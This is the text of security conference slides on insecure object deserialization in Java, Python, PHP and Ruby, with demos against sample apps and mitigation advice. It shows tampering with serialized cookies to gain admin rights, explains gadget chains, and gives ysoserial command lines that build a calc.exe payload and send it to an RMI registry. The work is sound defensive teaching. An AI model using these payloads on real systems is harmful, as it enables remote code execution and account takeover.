Marshalling Pickles how deserializing objects can ruin your day Gabriel Lawrence (@gebl) and Chris Frohoff (@frohoff)

2 Survey of object serialization vulnerabilities Example exploitation − Sample Apps − Novel Vectors − New Tools Mitigation techniques Talk Goals *Did our best to find previous research and give credit/references. Please let us know if we missed any.

3 snapshots one or more “live”, in-memory objects into a flat, serial stream of data that can be stored or transmitted for reconstitution and use by a different process or the same process at some point Formats − Binary: Java Serialization, Ruby Marshal, Protobuf, Thrift, Avro, MS-NRBF, Android Binder/Parcel, IIOP − Hybrid/Other: PHP Serialization, Python pickle, Binary XML/JSON − Readable: XML, JSON, YAML Platform/Formats may have multiple implementations and/or sub-formats Serializing Objects a.k.a. “marshaling”, “pickling”, “freezing”, ”flattening”

4 Remote/Interprocess Communication (RPC/IPC) − Communicating data to different system/process − Wire protocols, web services, message brokers Caching/Persistence − Communicating data to process’ future self − Databases, cache servers, file systems Tokens − Communicating data to different system/process and back − HTTP cookies, HTML form parameters, API auth tokens Purposes and Mediums Why and where

5 Developers trust it too much and make assumptions − Assume storage/transmission mediums are protected − Assume binary formats are opaque − Assume token authentication can’t be defeated − Assume serialization is “safe“ We abuse trust and defy assumptions for a living But why do we care?

6 “Any big binary blob needs to be investigated as potential object serialization”

7 Demos

8 THESE DEMOS ARE FICTIONAL DRAMATIZATIONS BASED ON TRUE STORIES AND REAL EVENTS. ALL NAMES HAVE BEEN CHANGED TO PROTECT THE GUILTY. * * We have actually seen this stuff in assessments

9 Application State Manipulation

10 What’s that? Base64 encoded serialized Java object as a cookie value

11 0000000: aced 0005 7372 001d 636f 6d2e 7175 616c ....sr..com.qual 0000010: 636f 6d6d 2e69 7372 6d2e 6170 7073 6563 comm.isrm.appsec 0000020: 2e55 7365 7200 0000 0000 0000 0102 0002 .User........... 0000030: 5a00 0b75 7365 7249 7341 646d 696e 4c00 Z..userIsAdminL. 0000040: 046e 616d 6574 0012 4c6a 6176 612f 6c61 .namet..Ljava/la 0000050: 6e67 2f53 7472 696e 673b 7870 0074 0004 ng/String;xp.t.. 0000060: 6761 6265 gabe Serialized Java Object

12 0000000: aced 0005 7372 001d 636f 6d2e 7175 616c ....sr..com.qual 0000010: 636f 6d6d 2e69 7372 6d2e 6170 7073 6563 comm.isrm.appsec 0000020: 2e55 7365 7200 0000 0000 0000 0102 0002 .User........... 0000030: 5a00 0b75 7365 7249 7341 646d 696e 4c00 Z..userIsAdminL. 0000040: 046e 616d 6574 0012 4c6a 6176 612f 6c61 .namet..Ljava/la 0000050: 6e67 2f53 7472 696e 673b 7870 0074 0004 ng/String;xp.t.. 0000060: 6761 6265 gabe Class Description

13 0000000: aced 0005 7372 001d 636f 6d2e 7175 616c ....sr..com.qual 0000010: 636f 6d6d 2e69 7372 6d2e 6170 7073 6563 comm.isrm.appsec 0000020: 2e55 7365 7200 0000 0000 0000 0102 0002 .User........... 0000030: 5a00 0b75 7365 7249 7341 646d 696e 4c00 Z..userIsAdminL. 0000040: 046e 616d 6574 0012 4c6a 6176 612f 6c61 .namet..Ljava/la 0000050: 6e67 2f53 7472 696e 673b 7870 0074 0004 ng/String;xp.t.. 0000060: 6761 6265 gabe Data in object

14 0000000: aced 0005 7372 001d 636f 6d2e 7175 616c ....sr..com.qual 0000010: 636f 6d6d 2e69 7372 6d2e 6170 7073 6563 comm.isrm.appsec 0000020: 2e55 7365 7200 0000 0000 0000 0102 0002 .User........... 0000030: 5a00 0b75 7365 7249 7341 646d 696e 4c00 Z..userIsAdminL. 0000040: 046e 616d 6574 0012 4c6a 6176 612f 6c61 .namet..Ljava/la 0000050: 6e67 2f53 7472 696e 673b 7870 0174 0005 ng/String;xp.t.. 0000060: 6368 7269 73 chris Data in object (Manipulated)

15 Screen Shots – Normal Login https://bitbucket.org/gebl/appseccali-cookie

16 Screen Shots – Manipulated to be Admin and Chris https://bitbucket.org/gebl/appseccali-cookie

17 By default, pickle data format uses an ASCII representation − Protocol version 0: ASCII protocol − Protocol version 1: Old binary format − Protocol version 2: New binary format Good write up on the formats: − http://spootnik.org/entries/2014/04/05_diving-into-the-python-pickle-format.html Python Pickle in Cookie

18 What’s that? Base64 encoded pickled Python object

19 0000000: 2864 7031 0a53 2761 646d 696e 270a 7032 (dp1.S'admin'.p2 0000010: 0a49 3030 0a73 5327 7573 6572 270a 7033 .I00.sS'user'.p3 0000020: 0a56 6761 6265 0a70 340a 732e .Vgabe.p4.s. Pickled Python Object

20 0000000: 2864 7031 0a53 2761 646d 696e 270a 7032 (dp1.S'admin'.p2 0000010: 0a49 3030 0a73 5327 7573 6572 270a 7033 .I00.sS'user'.p3 0000020: 0a56 6761 6265 0a70 340a 732e .Vgabe.p4.s. Admin Property

21 0000000: 2864 7031 0a53 2761 646d 696e 270a 7032 (dp1.S'admin'.p2 0000010: 0a49 3030 0a73 5327 7573 6572 270a 7033 .I00.sS'user'.p3 0000020: 0a56 6761 6265 0a70 340a 732e .Vgabe.p4.s. User Property

22 0000000: 2864 7031 0a53 2761 646d 696e 270a 7032 (dp1.S'admin'.p2 0000010: 0a49 3031 0a73 5327 7573 6572 270a 7033 .I01.sS'user'.p3 0000020: 0a56 6368 7269 730a 7034 0a73 2e .Vchris.p4.s. Properties (Manipulated)

23 Screen Shots – Normal Login https://bitbucket.org/gebl/appseccali-inapickle

24 Screen Shots – Manipulated to be Admin and Chris https://bitbucket.org/gebl/appseccali-inapickle

25 Application Logic Manipulation

26 PHP Serialization Format Basic types: − :; Arrays: − a::{:,…} Two ways for Objects: − “O” just like array − Custom defined by developer http://www.phpinternalsbook.com/classes_objects/serialization.html

27 0000000: 4f3a 343a 2255 7365 7222 3a33 3a7b 733a O:4:"User":3:{s: 0000010: 373a 2269 7361 646d 696e 223b 623a 303b 7:"isadmin";b:0; 0000020: 733a 343a 2270 6c61 6e22 3b73 3a31 393a s:4:"plan";s:19: 0000030: 222f 7661 722f 7777 772f 6e6f 706c 616e "/var/www/noplan 0000040: 2e74 7874 223b 733a 383a 2275 7365 726e .txt";s:8:"usern 0000050: 616d 6522 3b73 3a34 3a22 6761 6265 223b ame";s:4:"gabe"; 0000060: 7d0a }. PHP Serialized Object

28 0000000: 4f3a 343a 2255 7365 7222 3a33 3a7b 733a O:4:"User":3:{s: 0000010: 373a 2269 7361 646d 696e 223b 623a 303b 7:"isadmin";b:0; 0000020: 733a 343a 2270 6c61 6e22 3b73 3a31 393a s:4:"plan";s:19: 0000030: 222f 7661 722f 7777 772f 6e6f 706c 616e "/var/www/noplan 0000040: 2e74 7874 223b 733a 383a 2275 7365 726e .txt";s:8:"usern 0000050: 616d 6522 3b73 3a34 3a22 6761 6265 223b ame";s:4:"gabe"; 0000060: 7d0a }. Class Name

29 0000000: 4f3a 343a 2255 7365 7222 3a33 3a7b 733a O:4:"User":3:{s: 0000010: 373a 2269 7361 646d 696e 223b 623a 303b 7:"isadmin";b:0; 0000020: 733a 343a 2270 6c61 6e22 3b73 3a31 393a s:4:"plan";s:19: 0000030: 222f 7661 722f 7777 772f 6e6f 706c 616e "/var/www/noplan 0000040: 2e74 7874 223b 733a 383a 2275 7365 726e .txt";s:8:"usern 0000050: 616d 6522 3b73 3a34 3a22 6761 6265 223b ame";s:4:"gabe"; 0000060: 7d0a }. IsAdmin Property

30 0000000: 4f3a 343a 2255 7365 7222 3a33 3a7b 733a O:4:"User":3:{s: 0000010: 373a 2269 7361 646d 696e 223b 623a 303b 7:"isadmin";b:0; 0000020: 733a 343a 2270 6c61 6e22 3b73 3a31 393a s:4:"plan";s:19: 0000030: 222f 7661 722f 7777 772f 6e6f 706c 616e "/var/www/noplan 0000040: 2e74 7874 223b 733a 383a 2275 7365 726e .txt";s:8:"usern 0000050: 616d 6522 3b73 3a34 3a22 6761 6265 223b ame";s:4:"gabe"; 0000060: 7d0a }. Plan Property (Filename)

31 0000000: 4f3a 343a 2255 7365 7222 3a33 3a7b 733a O:4:"User":3:{s: 0000010: 373a 2269 7361 646d 696e 223b 623a 303b 7:"isadmin";b:0; 0000020: 733a 343a 2270 6c61 6e22 3b73 3a31 393a s:4:"plan";s:19: 0000030: 222f 7661 722f 7777 772f 6e6f 706c 616e "/var/www/noplan 0000040: 2e74 7874 223b 733a 383a 2275 7365 726e .txt";s:8:"usern 0000050: 616d 6522 3b73 3a34 3a22 6761 6265 223b ame";s:4:"gabe"; 0000060: 7d0a }. Username Property

32 Screen Shot - Normal https://bitbucket.org/gebl/appseccali-php

33 Enumerating Services Oh, look… memcache!

34 Memcache Tamper Script https://bitbucket.org/gebl/appseccali-php

35 Executing Script https://bitbucket.org/gebl/appseccali-php

36 Screen Shot – Memcache changed https://bitbucket.org/gebl/appseccali-php

37 Expression Language (EL) allows the use of simple expressions to: − Dynamically read application data − Dynamically write application data − Invoke arbitrary methods Java Server Faces http://www.developer.am/interesting/jsp-application-lifecycle/

38

you are an admin!

JSP Source https://bitbucket.org/gebl/appseccali-jsf-el

39 New Tool: View State Messer! https://bitbucket.org/gebl/viewstatemesser

40 java -jar ViewStateMesser.jar dump Array Items: Array Items: org.apache.myfaces.application.TreeStructureManager$TreeStructComponent 1338668845 Fields: _children: Array Items: org.apache.myfaces.application.TreeStructureManager$TreeStructComponent 159413332 Fields: _children: Array Items: org.apache.myfaces.application.TreeStructureManager$TreeStructComponent 1028214719 Fields: _children: com.qualcomm.isrm.jsf.NullReference@1ddc4ec2 _componentClass: javax.faces.component.html.HtmlOutputLabel _componentId: Dump of ViewState https://bitbucket.org/gebl/appseccali-jsf-el & https://bitbucket.org/gebl/viewstatemesser

41 org.apache.myfaces.view.facelets.el.ContextAwareTagValueExpressionUEL 935044096 Fields: Custom: org.apache.el.ValueExpressionImpl 396180261 Fields: Custom: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 00 11 23 7b 6c 6f 67 69 6e 42 65 61 6e 2e 6e 61 6d 65 7d 00 10 6a 61 76 61 2e 6c 61 6e 67 _ _ # { l o g i n B e a n . n a m e } _ _ j a v a . l a n g 2e 4f 62 6a 65 63 74 . O b j e c t NULL NULL Dump of ViewState https://bitbucket.org/gebl/appseccali-jsf-el & https://bitbucket.org/gebl/viewstatemesser

42 Usage: − java -jar ViewStateMesser.jar "#{loginBean.isadmin}“ Finds all org.apache.el.ValueExpressionImpl and replaces the EL with the supplied argument. Similar to Synacktiv InYourFace tool Changing the ViewState EL https://bitbucket.org/gebl/appseccali-jsf-el & https://bitbucket.org/gebl/viewstatemesser

43

44 Arbitrary Code Execution

45 Code reuse attack (a la ROP) Uses “gadget” classes already in scope of application Create chain of instances and method invocations − Start with “kick-off” gadget that executes during or after deserialization − End in “sink” gadget that executes arbitrary code/commands − Use other gadgets to chain start gadget execution to end gadget Serialize chain and send to vulnerable deserialization in application Chain executed in application during/after deserialization Profit Property-Oriented Programming / Object Injection Earliest POP research we found was by Stefan Esser (@i0n1c), “Utilizing Code Reuse/ROP in PHP Application Exploits"

46 Rube-Goldberg-esque Gadget chains are generally carrier-medium, application, and OS/platform agnostic − Relies only on code available to application − Not necessarily code used by application Gadget Classes − Target common libraries/frameworks. Library sprawl FTW. − “Proxy” gadgets versatile − Deserialization hook methods for self-execution Gadget hunting and chain construction is an art − Can be frustrating and tedious − Rich IDEs help, but custom tools are better − https://github.com/frohoff/inspector-gadget (out of scope for talk) Property-Oriented Programming / Object Injection

47 Target Ruby’s ERB templating system Use Rails utility classes in chain Chain from Rails YAML exploit − YAML version required addition gadgets Executed by Rails by accessing session object after deserialization A Ruby + Rails Gadget Chain Chain discovered by Charlie Somerville (@charliesome) as part of a Rails YAML exploit

48 Code Execution via Ruby Marshal Exposed redis listener https://github.com/frohoff/appseccali-rails-redis https://github.com/frohoff/rails_exploits

49

50 A Simple Java Gadget Chain ObjectInputStream.readObject() “calc.exe”

51 Time-Lapse of Deserialization ObjectInputStream.readObject() called ObjectInputStream readObject() defaultReadObject()

52 Time-Lapse of Deserialization CacheManager instance allocated CacheManager ObjectInputStream readObject() readObject() defaultReadObject()

53 Time-Lapse of Deserialization CacheManager.readObject() called CacheManager ObjectInputStream readObject() readObject() defaultReadObject()

54 Time-Lapse of Deserialization ObjectInputStream.defaultReadObject() called CacheManager ObjectInputStream readObject() readObject() defaultReadObject()

55 Time-Lapse of Deserialization CommandTask instance allocated and referenced by CacheManager.initHook field CacheManager ObjectInputStream readObject() readObject() defaultReadObject() CommandTask run()

56 Time-Lapse of Deserialization CommandTask.run() called CacheManager ObjectInputStream readObject() readObject() defaultReadObject() CommandTask run()

57 Time-Lapse of Deserialization Runtime.exec() called CacheManager ObjectInputStream readObject() readObject() defaultReadObject() CommandTask run() Runtime exec() “calc.exe”

58 Time-Lapse of Deserialization Target program run CacheManager ObjectInputStream readObject() readObject() defaultReadObject() CommandTask run() Runtime exec() “calc.exe”

59 A Java + Commons- Collections Gadget Chain

60 Target java.lang.Runtime.exec(String cmd) Uses gadgets in JDK and Apache Commons-Collections library Self-executing during deserialization − Executes before object returned to caller A Java + Commons-Collections Gadget Chain Similar POP techniques previously applied to Java Serialization by Wouter Coekaerts (@WouterCoekaerts) and implemented by Alvaro Muñoz (@pwntester)

61 Call Chain

62 Gadget Chain Construction Code and Call Tree

63 New Tool: ysoserial https://github.com/frohoff/ysoserial

64 Tool and utilities for generating Java deserialization exploit payloads Contains multiple gadget chain payloads − CommonsCollections1 (commons-collections) − CommonsCollections2 (commons-collections4) − Spring1 (spring-core, spring-beans) − Groovy1 (groovy) Create payload to execute calc.exe using CommonsCollections1 chain: $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd | head -3 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe > payload.bin Send exploit payload to RMI Registry listener: $ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe ysoserial: Usage info

65 Code Execution via Java Serializable JSF ViewState form parameters deserialized without authentication

66 Code Execution via Java Serializable JSF (MyFaces) ViewState form parameters deserialized

67

68 Code Execution via Java Serializable RMI Regisitry deserializing untrusted data from remoting protocol stream

69 RMIRegistry https://github.com/frohoff/appseccali-java

70

71 General − Can only use classes available to application Java Serialization − ClassLoader of vulnerable code vs gadgets − Gadget classes must implement Serializable/Externalizable − Library/class version differences − Static type constraints Web frameworks − Many (but not all) now have sane defaults − Sign (and sometimes encrypt) client tokens: session cookies, viewstate, etc. Property Oriented Programming: Limitations & Caveats

72 Mitigation

73 Avoid open-ended (de)serialization when possible − If the serialization includes a class name, it’s probably bad Simple format and/or data types − Strings, Numbers, Arrays, Maps, etc. Manually serialize complex objects Keep session state on the server when possible − Beware of lateral attacks! (memcached, redis, database, etc.) Abstenence Avoid magic

74 Whitelist/Blacklist classes Constrain to expected type Statically typed object structure Schema-enforced formats Difficult without library support Restrict Deserialization Code defensively

75 Java − Default ObjectInputStream will deserialize any Serializable class − Class Blacklisting/Whitelisting − Subclass ObjectInputStream − override resolveClass() to allow/disallow classes − A bit of a hack − http://www.ibm.com/developerworks/library/se-lookahead/ Ruby − Default Marshal behavior deserializes any class − No obvious clean way to change − Maybe monkey patch Marshal hook methods on Object class (untested) PHP −  Restrict Deserialization

76 Python − Default unpickler will import any class − Pickle − Subclass Unpickler, override load_global − Load_global push safe classes onto pickler’s stack or raise an error − HACK according to the docs! − Cpickle − Set find_global to a function − Function takes module and class − Create on object or raise an error − https://docs.python.org/2/library/pickle.html − Section 11.1.6 Restrict Deserialization

77 Encryption != Authentication Authenticate channels − TLS Client Certs, SASL, DB/Cache/Broker credentials Authenticate content − HMAC or Authenticated Encryption with secret key Must be verified pre-deserialization! Pro-tip: Don’t leak crypto keys! Authenticate Trust Verify

78 Strict firewall rules for deserializing listeners Sandboxing/Hardening − Java SecurityManager − RestrictedPython − php.ini security settings − AppArmor − SELinux Security-in-depth Assume breach of defenses

79 Vulnerability is in doing unsafe deserialization, not in having gadgets available More will be always found Transitive dependencies cause library sprawl Cross-library gadget chains Auto-detection difficult Gadget Whack-a-Mole Don’t rely on this!

80 Find more unsafe deserialization Find more gadgets/chains Gadget finding tool improvements Explore mediums, platforms, formats, implementations Future Work (including for you) Go forth and pwn all the things

81 Stefan Esser, 2009/11/1, Shocking News in PHP Exploitation − https://www.nds.rub.de/media/hfs/attachments/files/2010/03/hackpra09_fu_esser_php_exploits1.pdf David Byrne, Rohini Sulatycki, 2010/6/21, Beware of Serialized GUI Objects Bearing Data − https://www.blackhat.com/presentations/bh-dc-10/Byrne_David/BlackHat-DC-2010-Byrne-SGUI-slides.pdf Stefan Esser, 2010/7/29, Utilizing Code Reuse/ROP in PHP Application Exploits − https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf Wouter Coekaerts, 2011/9/9, Spring Vulnerabilities − http://wouter.coekaerts.be/2011/spring-vulnerabilities Charlie Sommerville, 2013/1/10, Rails 3.2.10 Remote Code Execution − https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md Arseniy Reutov, 2013/5/28, PHP Object Injection Revisited − https://prezi.com/5hif_vurb56p/php-object-injection-revisited/ Stephen Coty, 2013/6/14, Writing Exploits for Exotic Bug Classes: unserialize() − https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes/ Ben Murphy, 2013/6/23, Property Oriented Programming Applied to Ruby − http://slides.com/benmurphy/property-oriented-programming#/ Robert Heaton, 2013/7/22, How to hack a Rails app using its secret_token − http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/ Dinis Cruz, 2013/8/6, Using XMLDecoder to execute server-side Java Code on an Restlet application − http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html Past Work / References

82 Abraham Kang, Dinis Cruz, Alvaro Munoz, 2013/8/6, RESTing on your laurels will get you pwned − http://www.slideshare.net/DinisCruz/res-ting-on-your-laurels-will-get-you-powned4-3 Tom Van Goethem, 2013/9/11, WordPress < 3.6.1 PHP Object Injection − https://vagosec.org/2013/09/wordpress-php-object-injection/ David Jorm, 2013/11/20, Java Deserialization Flaws: Part 1, Binary Deserialization − https://securityblog.redhat.com/2013/11/20/java-deserialization-flaws-part-1-binary-deserialization/ Alvaro Munoz, 2013/12/16, CVE-2011-2894: Deserialization Spring RCE − http://pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/ Dinis Cruz, 2013/12/22, XStream "Remote Code Execution" exploit on code from "Standard way to serialize and deserialize Objects with XStream" article, − http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html David Jorm, 2014/1/23, Java deserialization flaws: Part 2, XML deserialization − https://securityblog.redhat.com/2014/01/23/java-deserialization-flaws-part-2-xml-deserialization/ Johannes Dahse, Nikolai Krein, Thorsten Holz, 2014/11/3, Code Reuse Attacks in PHP: Automated POP Chain Generation − https://websec.files.wordpress.com/2010/11/rips_ccs.pdf − http://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf Renaud Dubourguais, Nicolas Collignon, JSF ViewState upside-down − http://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf Past Work / References

83 Sample Apps − https://bitbucket.org/gebl/appseccali-cookie − https://bitbucket.org/gebl/appseccali-inapickle − https://bitbucket.org/gebl/appseccali-php − https://bitbucket.org/gebl/appseccali-jsf-el − https://github.com/frohoff/appseccali-rails-redis − https://github.com/frohoff/appseccali-java Tools − https://bitbucket.org/gebl/viewstatemesser − https://github.com/frohoff/rails_exploits − https://github.com/frohoff/ysoserial − https://github.com/frohoff/inspector-gadget Sample Apps and Tools

84 For more information on Qualcomm, visit us at: www.qualcomm.com & www.qualcomm.com/blog Qualcomm is a trademark of Qualcomm Incorporated, registered in the United States and other countries. Other products and brand names may be trademarks or registered trademarks of their respective owners Thank you Follow us on: Gabe Lawrence [email protected] @gebl Chris Frohoff [email protected] @frohoff